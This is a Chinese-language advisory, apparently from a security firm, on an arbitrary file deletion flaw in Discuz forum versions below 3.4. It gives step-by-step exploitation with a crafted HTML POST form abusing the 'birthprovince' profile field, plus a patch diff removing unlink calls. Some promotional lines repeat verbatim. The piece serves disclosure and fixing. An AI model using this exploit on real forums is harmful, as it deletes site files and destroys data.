Discuz在2017年9月29日更新了漏洞修復補丁,具體修復了DISCUZ前台的一個任意文件的
刪除漏洞,關於這個discuz論壇文件刪除漏洞方面曾在2014年裡被提交到discuz官方以及wooyun
烏雲官方,但此次漏洞完全是因為漏洞修復的不徹底,並可以再次利用,導致了漏洞的發生。
烏雲官方,但此次漏洞完全是因為漏洞修復的不徹底,並可以再次利用,導致了漏洞的發生。
此次Discuz漏洞的影響範圍甚廣,Discuz 3.4以下的版本,包含了 Discuz X3.2 Discuz X3.1
DiscuzX3.0 Discuz2.5等系列的版本漏洞。eSafe白帽資安網公司是一家專注於:主機安全、網站安全、
網站安全檢測、網站漏洞修復,滲透測試,安全服務於一體的網絡安全服務提供商。
DiscuzX3.0 Discuz2.5等系列的版本漏洞。eSafe白帽資安網公司是一家專注於:主機安全、網站安全、
網站安全檢測、網站漏洞修復,滲透測試,安全服務於一體的網絡安全服務提供商。
Discuz漏洞的具體利用詳情:
漏洞測試環境如下:windows2008+PHP5.2+MYSQL+ Discuz X3.2
我們來新建一個文本文檔來作為測試:
打開論壇—再點擊論壇設置-找到個人資料,右鍵查看頁面的源代碼,找到formhash這個值.
http://www.esafe.tw.com/discuz3_2/home.php?mod=spacecp&ac=profile
我們查看到的formhash值是b21b6577,我們再來訪問下
http://www.esafe.tw.com/discuz3_2/home.php?mod=spacecp&ac=profile&op=base
並post提交方式,提交數據到這個地址如下圖所示:
個人論壇設置裡的出生地,被修改成要刪除的文件。
最後構造表單來執行刪除文件
<form action=”http://www.esafe.tw.com/discuz3_2/home.php?
mod=spacecp&ac=profile&op=base” method=”POST” enctype=”multipart/form-data”>
<input type=”file” name=”birthprovince” id=”file” />
<input type=”text” name=”formhash” value=”b21b6577″/></p>
<input type=”text” name=”profilesubmit” value=”1″/></p>
<input type=”submit” value=”Submit” />
</from>
我們在表單裡隨便上傳一張圖片,即可刪除論壇裡任意的文件。eSafe白帽資安網公司是一家專注於:服
務器安全、網站安全、網站安全檢測、網站漏洞修復,滲透測試,安全服務於一體的網絡安全服務
提供商。
務器安全、網站安全、網站安全檢測、網站漏洞修復,滲透測試,安全服務於一體的網絡安全服務
提供商。
discuz漏洞修復方案:
找到:/source/include/spacecp/spacecp_profile.php
關於調用了unlink 相關的函數刪除掉,一共有5處。
if($_GET['deletefile'] && is_array($_GET['deletefile'])) {
foreach($_GET['deletefile'] as $key => $value) {
if(isset($_G['cache']['profilesetting'][$key]) && $_G
['cache']['profilesetting'][$key]['formtype'] == 'file') {
- @unlink(getglobal
('setting/attachdir').'./profile/'.$space[$key]);
- @unlink(getglobal
('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
$verifyarr[$key] = $setarr[$key] = '';
}
}
@@ -215,17 +213,14 @@ if(submitcheck('profilesubmit')) {
$attach['attachment'] = dhtmlspecialchars(trim
($attach['attachment']));
if($vid && $verifyconfig['available'] && isset
($verifyconfig['field'][$key])) {
if(isset($verifyinfo['field'][$key])) {
- @unlink(getglobal
('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
$verifyarr[$key] = $attach
['attachment'];
}
continue;
}
if(isset($setarr[$key]) && $_G['cache']
['profilesetting'][$key]['needverify']) {
- @unlink(getglobal
('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
$verifyarr[$key] = $attach['attachment'];
continue;
}
- @unlink(getglobal
('setting/attachdir').'./profile/'.$space[$key]);
$setarr[$key] = $attach['attachment'];
}